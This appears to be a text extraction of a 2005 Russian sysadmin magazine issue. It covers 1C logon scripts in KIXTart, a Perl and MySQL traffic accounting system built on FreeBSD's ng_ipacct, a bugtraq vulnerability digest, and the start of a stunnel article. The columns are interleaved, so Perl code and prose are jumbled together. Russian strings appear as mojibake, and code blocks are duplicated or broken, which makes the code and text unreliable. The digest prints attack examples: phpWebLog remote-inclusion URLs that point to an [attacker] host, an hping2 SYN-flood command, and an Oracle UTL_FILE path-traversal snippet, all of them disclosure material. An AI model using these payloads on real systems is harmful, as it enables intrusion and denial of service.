ожидает увидеть, что при авторизации входа в базу 1С из
списка ему будет предложено по умолчанию его имя. Для
того чтобы это реализовать, необходимо, чтобы имя пользо-
вателя в сети и 1С либо совпадали, либо были взаимосвя-
заны при помощи какого-либо правила. Для удобства ра-
боты пользователей рекомендуется сделать имена пользо-
вателей в сети и в 1С идентичными. Имя пользователя по
умолчанию в каждой базе отдельно в разделе HKCU\Soft-
ware\1c\1cv7\7.7\BASE_NAME|startup значением параметра
UserName. Поскольку значение этого параметра совпада-
ет с именем пользователя в сети, то рекомендуется вос-
пользоваться одним из встроенных макросов в KIXTart –
@userid, с помощью которого определяется имя текущего
пользователя.
Листинг этой функции выглядит следующим образом:
WriteValue ($1c_base+"\"+Right($group, ↵
Len($group) - Instrrev($group, $meta)-↵ ↵
Len($meta)+1)+"\StartUp", "UserName", @userid, "REG_SZ")
Листинг рекомендуется включить в процедуру сопостав-
ления списка баз в раздел добавления баз, сразу после
функции записи нового значения базы в разделе Titles.
В том случае если указанное имя пользователя не най-
дено (см. рис. 2) в списке пользователей 1С, то сама про-
грамма уничтожит созданную запись пользователя по умол-
чанию, и пользователь увидит пустое поле. С помощью рас-
крывающегося списка он должен будет выбрать имя пользо-
вателя, под которым он будет работать с базой 1С.
Ðèñóíîê 2
Заключение
Результатом работы созданного сценария является форми-
рование списка баз 1С, с которыми пользователь имеет пра-
во работать. При выборе базы 1С, имя пользователя по умол-
чанию определяется автоматически. Таким образом, при
переходе бухгалтера с одной рабочей станции на другую или
смены его должностных обязанностей, затраты на админис-
трирование значительно сокращаются: управление подклю-
чением баз осуществляется в автоматическом режиме. Но-
вый инструмент может быть подключен к сценарию регист-
рации пользователей в сети в качестве функции. В прило-
жении (на сайте журнала http://samag.ru в разделе «Исход-
ный код») приведены примеры листинга конфигурационно-
го файла config.ini и непосредственно сценарий.
51
 администрирование

САГА О БИЛЛИНГЕ,
ИЛИ СЧИТАЕМ ТРАФИК НА FreeBSD
(ng_ipacct + Perl + MySQL)
ЧАСТЬ 2
ВЛАДИМИР ЧИЖИКОВ
В предыдущей части статьи мы рассмотрели, как устано- #!/usr/bin/perl -w
вить и запустить ng_ipacct, а также рассмотрели создание use DBI;
use Time::localtime;
своих собственных скриптов для запуска и остановки раз-
рабатываемой системы учета трафика. Последний у вас должен быть по умолчанию в системе,
Дальнейшая цель – получить статистику и поместить ее а вот наличие DBI необходимо проверить. Самый простой
в базу. Что нам для этого нужно? В первой части статьи, способ – отправить на исполнение скрипт уже в таком виде.
когда описывался ng_ipacct, указывалось, что для снятия Выдаст ошибку – значит, отсутствует или не соответствует
статистики необходимо последовательно проделать следу- текущей версии perl (например, вы обновили perl, а все со-
ющее: передать данные в checkpoint-базу, потом вывести путствующие модули нет).
данные при помощи show (перенаправить в файл) и очис- Что ж, это поправимо:
тить checkpoint для получения следующей порции данных.
Таким образом, мы сразу же определили, что нам нуж- # cd /usr/ports/databases/p5-DBI/
# make && make install && make clean && rehash
но сложить статистику в файл при помощи перенаправле- # cd /usr/ports/databases/p5-DBD-mysql
ния вывода show. А после этого, уже считывая из файла # make && make install && make clean && rehash
данные, отправить в базу. Для того чтобы не было смеши-
вания всех интерфейсов в одном файле, мы также должны Если у вас стоит MySQL не 3.23 версии, а 4 и выше, то
условиться заранее, что для каждого интерфейса будет выберите соответствующий вариант вместо p5-DBD-mysql.
создан свой собственный файл статистики, а также один После этого можно смело приступать к дальнейшим мани-
общий, куда будет складываться статистика со всех интер- пуляциям.
фейсов. В этих файлах будет указано имя хоста, время по- Для подключения к базе данных нужно снова считать
лучения порции записей, дата и самое главное – интер- конфигурационный файл и все параметры, необходимые
фейс. Почему так акцентируется внимание на интерфейсе? для того, чтобы выяснить:
Очень просто. У нас могут быть каналы на одной машине, ! какие интерфейсы подключены;
где локальный трафик считается, а также где он бесплат- ! имя сервера базы данных;
ный. Учесть нам необходимо платный. Соответственно нуж- ! имя базы данных;
но знать, какой интерфейс принял или отправил пакет. ! имя и пароль пользователя для доступа к базе.
Что ж, основная установка сделана. Остальное – по ходу
повествования. Все это описано в конфигурационном файле (смотрите
Для начала создадим две вещи: базу, куда будут запи- первую часть статьи в №2, 2005 г.). Но сначала опять нуж-
сываться данные, и папку, где будут располагаться времен- но задать основные переменные.
ные файлы со статистикой интерфейсов.
# Ñïèñîê îñíîâíûõ ïåðåìåííûõ
mysql> create database ng_stat; my $serverdb = "test";
Query OK, 1 row affected (0.04 sec) my $dbname = "test";
mysql> grant insert,create,update,select,delete on ng_stat.*
my $dbuser = "test";
my $dbpass = "test";
to nguser@'%' identifiedby 'ngpassword'; my $table_auth = "test";
Query OK, 0 rows affected (0.08 sec) my $table_proto = "test";
my $listen_host = "test";
Одновременно были даны права пользователю nguser my @listen_interf;
на добавление, обновление, удаление записей и их выбор- my @ng_modules;
my $ng_modules_def = "netgraph,ng_ether,ng_socket, ↵
ку, а также на создание таблиц. ng_tee,ng_ipacct";
Итак, вновь возвращаемся к написанию скриптов: my $threshold = 5000;
my $ipacct_log = '/usr/local/script/ng_stat/log/ng.log';
# touch ng_stat_in.pl Некоторые из них нам не потребуются. Но это удобная
заготовка для всех скриптов. Мы по очереди вносим необ-
И начинаем вносить данные. Первым делом необходи- ходимые параметры, всего лишь модернизируя уже имею-
мо подключить два модуля perl, которые будут использо- щийся скрипт. «Лишние» переменные можно будет убрать
ваться: на этапе отладки.

52
 администрирование
Самое важное в этом списке «my $ipacct_log = “/usr/local/ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME
script/ng_stat/log/ng.log”» – мы указали расположение основ- exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface show >> ↵
ного файла, куда по умолчанию будет записываться вся $ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵
статистика (с интерфейсами, временем и т. д.). çàïèñåé èç checkpoint-áàçû â ôàéë!\n";
exit;
Что ж, читаем дальше конфигурационный файл. Он ос- }
тается без изменений, так что приводить его не буду. }
else {
Проверяем время на машине. Именно это время и бу- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
дет записываться в базу: \n.................\n";
↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
# Ïðîâåðÿåì âðåìÿ. }
$gm = localtime(); do {
$year = ($gm->year()) + 1900; $kid = waitpid $pid,0;
$mounth = ($gm->mon()) + 1; if ($kid == -1) {
$mday = $gm->mday(); print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
$date = "$mday-$mounth-$year"; èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
$hour = $gm->hour(); and die "Âûõîä!\n";
$min = $gm->min(); } elsif ($kid == 0) {
$sec = $gm->sec(); print "Çàäàí íå áëîêèðóþùèé ↵
$hour=sprintf("%02d",$hour); âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
$min=sprintf("%02d",$min); }
$sec=sprintf("%02d",$sec); } until $kid=$pid;
$time = "$hour\:$min\:$sec";
$table_date = "$year\_$mounth"; undef $pid;

Почему в переменной $year мы добавляем 1900? Очень $pid = fork;

просто – она ведет отсчет от 1900 года. Почему в месяцах
прибавляем единицу? Переменная возвращает значения от
0 до 11.
Функция sprintf вернет значения переменных $hour, $sec
и $min числом из двух цифр, если полученное значение бу-
дет меньше 10. Например, одна секунда, после получения
ее значения, будет 1, а нужно 01.
Последний параметр $table_date определяет имя таб-
лицы в базе данных.
Далее идет конструкция для проверки, установлены ин-
терфейсы или нет. Если все в порядке, начинаем подготов-
ку к тому, чтобы закачивать данные на сервер.
Первым делом необходимо получить данные с интер-
фейсов и записать во временные файлы.
while (@listen_interf){
$interface = shift @listen_interf;
my $pid;
$pid = fork;
if (defined $pid) {
if ($pid == 0){
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint
exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface checkpoint" or die ↵
"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n";
exit;
} while (<TMPLOG>){
} $tmp_log_line=$_;
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
\n.................\n";
↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
} close (TMPLOG);
do {
$kid = waitpid $pid,0;
if ($kid == -1) {
print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
} elsif ($kid == 0) {
print "Çàäàí íå áëîêèðóþùèé ↵
âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
}
} until $kid=$pid;
undef $pid;
$pid = fork;
if (defined $pid) {
if ($pid == 0){
if (defined $pid) {
if ($pid == 0){
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear
exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface clear" or die ↵
"Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵
Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó â ðó÷íóþ\n";
exit;
}
}
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
\n.................\n";
↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
}
do {
$kid = waitpid $pid,0;
if ($kid == -1) {
print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
} elsif ($kid == 0) {
print "Çàäàí íå áëîêèðóþùèé ↵
âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
}
} until $kid=$pid;
undef $pid;
$TMPLOG= "$ipacct_log\.$interface";
open (TMPLOG, "$TMPLOG");
$TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵
ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.
chomp $tmp_log_line;
$tmp_log_line = "$tmp_log_line $date ↵
$time $listen_host $interface";
push @ipacct_arr,$tmp_log_line;
}
truncate ($TMPLOG,0);
undef $pid;
}
Обращаю внимание на то, что полный путь к ipacctctl
хранится в переменной $ipacctctl – так как скрипт будет
работать по cron, то здесь желательно указать полный путь
к нему, ибо не всегда cron сможет получить переменные из
профиля того пользователя, от имени которого будет ис-
полняться команда или программа.
Как видите, первыми идут checkpoint, show, clear. На эта-
пе show мы перенаправляем данные во временный файл.

№3, март 2005 53

 администрирование
Временный файл определяется основным файлом статис- else {
тики с приставкой имени интерфейса, то есть для rl0 он бу- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
\n.................\n";
дет выглядеть как /usr/local/script/ng_stat/log/ng.log.rl0. И так ↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
поочередно для каждого из интерфейсов. После занесения \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
}
данных эти файлы считываются. Каждая строка из них бу- do {
дет дополнена необходимой информацией (дата, время, имя $kid = waitpid $pid,0;
if ($kid == -1) {
хоста, интерфейс) и занесена в массив. print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
$tmp_log_line = "$tmp_log_line $date $time $listen_host ↵ } elsif ($kid == 0) {
$interface"; print "Çàäàí íå áëîêèðóþùèé ↵
push @ipacct_arr,$tmp_log_line; âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
}
После того, как временный файл считан до конца, мы } until $kid=$pid;
его очищаем (можно в принципе и удалить, хотя это неэф- undef $pid;
фективно). $pid = fork;
if (defined $pid) {
truncate(“$TMPLOG”,0); if ($pid == 0){
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME
exec "/usr/local/sbin/ipacctctl ↵
так поочередно мы заполним данными со всех интерфей- $interface\_ip_acct:$interface show >> ↵
$ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵
сов массив @ipacct_arr. Его, кстати, необходимо внести в çàïèñåé èç checkpoint-áàçû â ôàéë!\n";
список основных переменных, которые были объявлены в exit;
}
начале скрипта. }
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
my @ipacct_arr; \n.................\n";
my @ipacct_arr_in; ↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
Я указал кроме него еще один массив – он сейчас тоже }
потребуется. do {
$kid = waitpid $pid,0;
if ($kid == -1) {
open (IPCTLOG,">>$ipacct_log"); print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
while (@ipacct_arr){ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
$line_arr = shift @ipacct_arr; and die "Âûõîä!\n";
$line_arr = "$line_arr\n"; } elsif ($kid == 0) {
print IPCTLOG $line_arr; print "Çàäàí íå áëîêèðóþùèé ↵
} âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
close(IPCTLOG); }
} until $kid=$pid;

Этим действием все содержимое массива, полученно- undef $pid;

го на предыдущем шаге, заносится в основной файл стати- $pid = fork;
стики. Теперь в случае любых перипетий (недоступность if (defined $pid) {
if ($pid == 0){
сервера, отсутствие созданной базы или неправильный #$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear
логин/пароль) вся статистика будет накапливаться в нем. exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface clear" or die ↵
Именно поэтому и было указано то, что в случае пополне- "Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵
ния записей они должны дописываться в конец файла. Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó âðó÷íóþ\n";
exit;
}
open (IPCTLOG,">>$ipacct_log"); }
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
Статистика получена. Теперь наступил самый ответ- \n.................\n";
↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
ственный этап. Необходимо привести к нужному виду каж- \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
дую строку в файле статистики. Проверить доступность }
do {
сервера и необходимой базы и таблицы. Если все в полном $kid = waitpid $pid,0;
порядке, то внести данные. Вот как полностью будет выг- if ($kid == -1) {
print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
лядеть этот блок: èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
} elsif ($kid == 0) {
while (@listen_interf){ print "Çàäàí íå áëîêèðóþùèé ↵
$interface = shift @listen_interf; âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
my $pid; }
$pid = fork; } until $kid=$pid;
if (defined $pid) {
if ($pid == 0){ undef $pid;
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint
exec "/usr/local/sbin/ipacctctl ↵ $TMPLOG= "$ipacct_log\.$interface";
$interface\_ip_acct:$interface checkpoint" or die ↵ open (TMPLOG, "$TMPLOG");
"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n"; $TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵
exit; ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.
} while (<TMPLOG>){
} $tmp_log_line=$_;

54
 администрирование
chomp $tmp_log_line; my $tables;
$tmp_log_line = "$tmp_log_line $date ↵ while (@row = $sth->fetchrow_array) {
$time $listen_host $interface"; foreach $tables (@row){
push @ipacct_arr,$tmp_log_line; push @dbtables, $tables;
} }
close (TMPLOG); }
truncate ($TMPLOG,0);
Самое интересное во всем этом – оператор foreach, ко-
undef $pid; торый присваивает переменной $table значения массива
} @row. Значения этой переменной заносятся в @tables.
open (IPCTLOG,">>$ipacct_log");
while (@ipacct_arr){ $crt_tbl="yes";
while (@dbtables) {
$line_arr = shift @ipacct_arr; $table = shift @dbtables;
$line_arr = "$line_arr\n"; if (defined $table) {
print IPCTLOG $line_arr; if ($table eq $table_date) {
$crt_tbl="no";
} }
close(IPCTLOG); }
}
&parse_log_file;
&check_in_mysql;
&insert_data_db; В данном блоке устанавливается значение переменной
} $crt_tbl в yes, чтобы в случае необходимости создать таб-
Как видно из кода, присутствует вызов трех подпрог- лицу, определенную в переменной $table_date. Последую-
рамм. Выполняемые ими функции интуитивно понятны из щие действия как раз и описывают этап сравнения элемен-
названия (&parse_log_file; &check_in_mysql; &insert_data_db;). тов массива с переменной. Если таблица с таким именем
Рассмотрим их поочередно. присутствует, то $crt_tbl принимает значение no.

sub parse_log_file { if ($crt_tbl eq "yes") {

open (PARSFILE, "$ipacct_log"); # print "Ñîçäàåì òàáëèöó\n";
while ($line_parse=<PARSFILE>) { &crt_table_log;
chomp $line_parse; }
$line_parse =~ s/[\s\t]+/\t/g; $sth->finish;
push @ipacct_arr_in, $line_parse; $dbh->disconnect;
}
close (PARSFILE);
truncate ("$ipacct_log",0); Если такой таблицы нет, она будет создана при вызове
} подпрограммы &crt_table_log.
В этом модуле встречаются две новые подпрограммы.
Все, что мы делаем здесь, – производим разбор строки Опишем первую, так как она используется еще в несколь-
основного файла. И все имеющиеся символы пробела или ких местах. Итак, в случае ошибки соединения необходи-
табуляции заменяем на единичные символы табуляции. И мо срочно остановить выполнение скрипта и сбросить дан-
вносим данные в объявленный выше массив @ipacct_arr_in. ные обратно в файл.
После того как все данные из файла были внесены в мас-
сив, этот файл обнуляется для записи последующей пор- sub error_connection {
ции данных. print "Ïðîâåðüòå ïðàâèëüíîñòü èìåíè è ïàðîëÿ íà áàçó ↵
Что ж, проверим доступность mysql и наличия таблиц: â MySQL, åå ñóùåñòâîâàíèå\n";
print "Âîçìîæíîé ïðè÷èíîé îøèáêè òàêæå ìîæåò ÿâëÿòüñÿ òî, ↵
÷òî ñåðâåð âðåìåííî íåäîñòóïåí\n";
my ($dbh,$sth,$count); print "Áóäåò ïðîèçâåäåíî êîïèðîâàíèå âñåõ äàííûõ ↵
$dbh = DBI->connect("DBI:mysql:host= ↵ â ôàéë:\n\n$ipacct_log \n\n";
$serverdb;database=$dbname", "$dbuser", "$dbpass") print "Íàêîïëåíèå ñòàòèñòèêè â ôàéë íå ëèìèòèðîâàíî, ↵
or &error_connection; íî ýòî ìîæåò ïîâëå÷ü çà ñîáîé";
$sth = $dbh->prepare("SHOW tables"); print " âñïëåñê íàãðóçêè íà ñåòü è ñåðâåðà. Ïîýòîìó ↵
$sth->execute (); îáðàòèòå âíèìàíèå íà äàííîå";
print " ñîîáùåíèå è âûÿñíèòå êîíêðåòíóþ ïðè÷èíó.\n";
foreach $line_arr(@ipacct_arr_in) {
Первой строкой мы объявили переменные, которые бу- open (DUMPFILE, ">>$ipacct_log");
дут использоваться для соединения. Второй устанавливаем $line_arr = "$line_arr\n";
print DUMPFILE $line_arr;
соединение с MySQL. В ней указываем, что необходимо ис- close (DUMPFILE);
пользовать драйвер mysql DBI, также расположение серве- }
die "Âûõîä.\n";
ра, БД, имя и пароль, которые получили из файла настрой- }
ки. В случае, если произойдут ошибки, будет выполнена под-
программа &error_connection. Ее опишем несколько позже, Вторая создает таблицу, в которую будет производить-
а пока условимся, что соединение прошло успешно. Следу- ся запись данных.
ющим пунктом будет запрос. В данном случае проверяется
наличие необходимых таблиц в базе (SHOW TABLES), а пос- sub crt_table_log {
my ($dbh,$sth,$count);
ледняя строка означает выполнение запроса. $dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵
Теперь полученный результат занесем в массив: database=$dbname", "$dbuser", "$dbpass")
or &error_connection;
$select = "CREATE TABLE $table_date (ip_from ↵
my @row; varchar(255),s_port varchar(128),ip_to varchar(255), ↵

№3, март 2005 55

 администрирование
d_port varchar(128), proto varchar(32), packets int(8), ↵ интерфейс и, если необходимо, графические клиенты под
bytes int(16) default 0,date_ins varchar(32), ↵ X-Window и MS Windows.
time_ins time, host varchar(128), interface varchar(8), ↵
index (ip_from),index (ip_to),index (proto), ↵ В принципе вы и сами можете написать самые простые
index (packets), index (bytes),index (host), ↵ запросы уже сейчас. Приведу еще раз заголовки таблицы:
index (time_ins), index (date_ins), index (interface))";
$sth = $dbh->prepare("$select");
$sth->execute (); mysql> show columns from 2004_10;
$sth->finish;
$dbh->disconnect; Field Type Null Key Def Ext
ip_from varchar(255) YES MUL NULL
} s_port varchar(128) YES NULL
ip_to varchar(255) YES MUL NULL
Ну и наконец последнее – заносим данные в базу: d_port varchar(128) YES NULL
proto varchar(32) YES MUL NULL
packets int(8) YES MUL NULL
sub insert_data_db { bytes int(16) YES MUL 0
my ($dbh,$sth,$count); date_ins varchar(32) YES MUL NULL
$dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵ time_ins time YES MUL NULL
database=$dbname","$dbuser","$dbpass")
host varchar(128) YES MUL NULL
or &error_connection_in;
$insert = "INSERT INTO $table_date (ip_from,s_port, ↵ interface varchar(8) YES MUL NULL
ip_to,d_port,proto,packets,bytes,date_ins, ↵ 11 rows in set (0.02 sec)
time_ins,host,interface) VALUES (?,?,?,?,?,?,?,?,?,?,?)";
$sth = $dbh->prepare("$insert"); И простенький запрос к базе на выборку за 10 месяц
print "$insert\n"; 2004 года суммы прошедшего трафика через интерфейс
while (@ipacct_arr_in) {
$line_in = shift @ipacct_arr_in; ($ip_from, ↵ rl0 сервера freebsd2:
$s_port,$ip_to,$d_port,$proto,$packets, ↵
$bytes,$date_ins,$time_ins,$host,$interface)= ↵ mysql> select sum(bytes) from 2004_10 where host='freebsd2'
split(/[\s\t]+/,$line_in);
and interface='rl0';
if (!defined $proto){
$proto="0";
} sum(bytes)
if (!defined $packets){ 993453162
$packets="0"; 1 row in set (0.12 sec)
}
if (!defined $bytes){ Все остальные скрипты, вне зависимости от своего на-
$bytes="0";
} значения, являются вариациями на тему запроса.
$sth->execute ($ip_from,$s_port,$ip_to,$d_port,$proto, ↵
$packets,$bytes,$date_ins,$time_ins, ↵
$host,$interface); Подведем итоги
} Разобранные выше примеры написания системы учета тра-
$sth->finish;
$dbh->disconnect; фика – не полноценный биллинг, так как для такой систе-
} мы нужно хорошо просчитать структуру самой БД, ее на-
грузку, выбрать оптимальные типы полей в таблицах. Для
Как видите, снова идет пошаговое считывание данных примера, в более серьезном и нагруженном варианте (сер-
из массива. Полученные строки разбиваются на составля- вер провайдера и порядка 20 хостов) необходимо изменить
ющие при помощи split. Если значения в этих переменных типы полей s_port, d_port, ip_from, ip_to на тип int (преобра-
отсутствуют, им присваивается значение, равное нулю. зование IP-адреса выполняется встроенными функциями
Вот в принципе все. Мы занесли данные в таблицу. Те- MySQL), одним словом, уделить очень большое внимание
перь можно извлекать нужные данные соответствующими настройке оптимальной производительности самой СУБД –
запросами на выборку. Полностью содержимое можно по- здесь она станет узким местом, и, возможно, перейти на
смотреть в ng_stat_in.pl. Последние штрихи – помещение альтернативную СУБД.
созданного сценария в /usr/local/etc/rc.d и добавление по- Но подводя итоги этой статьи, можно с уверенностью
добной записи в /etc/crontab. сказать самое главное: ng_ipacct является очень удобным
программным пакетом для сбора полной и детализирован-
*/15 * * * * ↵ ной статистики. Причем он не требует каких-то особых за-
root /usr/local/script/ng_stat/bin/ng_stat_in.pl
облачных знаний и предоставляет удобную в отображении
Наша система готова к сбору статистики. Конечно, она информацию. Он может заменить вам систему учета тра-
не лишена ряда недостатков. Таковыми можно считать то, фика, даже если вы будете каждый день мигрировать с
что система работает именно от пользователя root, и не име- одного типа брандмауэра на другой. При этом особо не на-
ет возможности на лету менять конфигурацию. Самое глав- грузит ваш сервер.
ное ее преимущество – простота. Она предоставляет са- Также можно добавить, что сам процесс сбора статисти-
мое удобное хранилище данных, откуда их можно вытянуть ки и запись полученных данных средствами perl не представ-
и при помощи web, и с консоли, и даже с машины под уп- ляет особой сложности – весь необходимый набор инстру-
равлением Windows. ментов встроен в perl либо присутствует в виде портов и па-
Итак, были выполнены практически все требования к кетов. Большую часть подпрограмм (например, чтение кон-
биллингу. Мы остановимся пока на этом, ибо немаленький фигурационного файла) можно вынести в отдельный модуль/
объем вышел для трех простеньких скриптов. Если у чита- пакет. Также вполне возможно, что вы несколько перепише-
телей появится желание, приведу дополнительный набор те код под себя – тут уж никто никого не сдерживает. Цель
скриптов и их описание, систему авторизации через веб- есть, а как к ней добраться – каждый выбирает сам.

56

Удаленный административный доступ
в Phpbb-форуме
Программа: Phpbb 2.0.12.
Опасность: Критическая.
Описание: Уязвимость в Phpbb позволяет удаленному
пользователю обойти некоторые ограничения безопаснос-
ти и получить административные привилегии на форуме.
Уязвимость связана с ошибкой в сравнении «session-
data['autologinid']» и «auto_login_key». В результате возмож-
но получить административные привилегии на форуме. Ло-
гическая уязвимость обнаружена в сценарии includes/
sessions.php в следующей строке:
if( $sessiondata['autologinid'] == $auto_login_key )
Условие выполняется, если длина $sessiondata['auto-
loginid'], представленная в куке пользователя, равна длине
переменной $auto_login_key. Для исправления уязвимости
ее необходимо заменить на строку:
if( $sessiondata['autologinid'] === $auto_login_key )
Также сообщается об ошибке в «viewtopic.php», кото-
рая позволит раскрыть инсталляционный путь.
URL производителя: http://www.phpbb.com.
Решение: Обновите форум до 2.0.13.
PHP-инклудинг в phpWebLog
Программа: phpWebLog 0.5.3 и более ранние версии
Опасность: Высокая.
Описание: Уязвимость существует в сценариях include/
init.inc.php и backend/addons/links/index.php из-за некоррек-
тной обработки входных данных в переменных G_PATH и
PATH. Удаленный пользователь может с помощью специ-
ально сформированного URL выполнить произвольный php-
сценарий на уязвимой системе. Пример:
http://[target]/[dir]/include/init.inc.php? ↵
G_PATH=http://[attacker]/
http://[target]/[dir]/backend/addons/links/inde x.php? ↵
PATH=http://[attacker]/
URL производителя: http://phpweblog.org.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
LAND-атака в Microsoft Windows
Программа: Microsoft Windows XP, Microsoft Windows 2003.
Опасность: Высокая.
Описание: Уязвимость существует при обработке SYN-па-
кетов. Удаленный пользователь может послать большое ко-
личество SYN-пакетов на открытый порт системы и выз-
вать 100% загрузку процессора. Пример:
hping2 192.168.0.1 -s 135 -p 135 -S -a 192.168.0.1
URL производителя: http://www.microsoft.com.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время. В качестве временного решения ре-
комендуется использовать межсетевой экран.
№3, март 2005
bugtraq
Множественные уязвимости в MySQL
Программа: MySQL версии до 4.0.24 и 4.1.10a.
Опасность: Низкая.
Описание: Обнаруженные уязвимости позволяют локаль-
ному пользователю получить поднятые привилегии в базе
данных, удаленному авторизованному пользователю выпол-
нить произвольный код на системе с привилегиями mysqld-
процесса.
1. Уязвимость существует при использовании временных
файлов в функции CREATE TEMPORARY TABLE. Локальный
пользователь может создать символическую ссылку с дру-
гого файла базы данных на временный файл. Подключить-
ся к MySQL с помощью клиента и создать временную таб-
лицу, которая будет использовать символическую ссылку
вместо обычного временного файла. Таким образом, ло-
кальный пользователь может повысить свои привилегии в
пределах базы данных.
2. Уязвимость существует в функции udf_init() файла
sql_udf.cc из-за некорректной обработки имен директорий.
Авторизованный пользователь с привилегиями INSERT и
DELETE в административной базе данных mysql может вста-
вить специально сформированное значение в поле dl таб-
лицы mysql.func и указать расположение специально сфор-
мированной библиотеки, которая затем будет выполнена
базой данных.
3. Уязвимость существует при использовании команды
CREATE FUNCTION. Авторизованный пользователь с при-
вилегиями INSERT и DELETE в административной базе дан-
ных mysql может использовать команду CREATE FUNCTION
в некоторых libc-функциях (strcat, on_exit, exit и т. д.), чтобы
выполнить произвольный код на системе с привилегиями
mysqld-процесса.
Пример/Эксплоит: http://www.securitylab.ru/53240.html.
URL производителя: http://www.mysql.com.
Решение: Установите обновления от производителя.
Раскрытие информации
в Oracle Database Server
Программа: Oracle Database Server 8i, 9i.
Опасность: Низкая.
Описание: Уязвимость существует в пакете UTL_FILE из-за
некорректной обработки входных данных в некоторых функ-
циях. Удаленный авторизованный пользователь может из-
менить значение некоторых объектов функции MEDIA_DIR
на символы обхода каталога и получить доступ на чтение и
запись к произвольным файлам на системе. Пример:
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
UTL_FILE.FCLOSE(f);
end;
URL производителя: http://www.oracle.com.
Решение: Установите исправление от производителя.
Составил Александр Антипов
57
 безопасность
ЗАЩИТА СЕТЕВЫХ СЕРВИСОВ
С ПОМОЩЬЮ stunnel
ЧАСТЬ 3
Сегодня мы займемся изучением тонкостей работы меха-
низма аутентификации stunnel с помощью SSL-сертифика-
тов. Плюс заодно разберемся, для чего может пригодиться
Windows-версия этой программы.
Представим, что у нас есть сервер, на котором работа-
ет Windows 2000 Advanced Server. Хотелось бы уметь уда-
ленно управлять сервером с двух UNIX-машин. В качестве
таковых выступают рабочая станция на основе FreeBSD 5.3
и ноутбук c ALT Linux Master 2.4. Соответственно, машины
имеют имена win2000.unreal.net, altlinux.unreal.net, freebsd53.
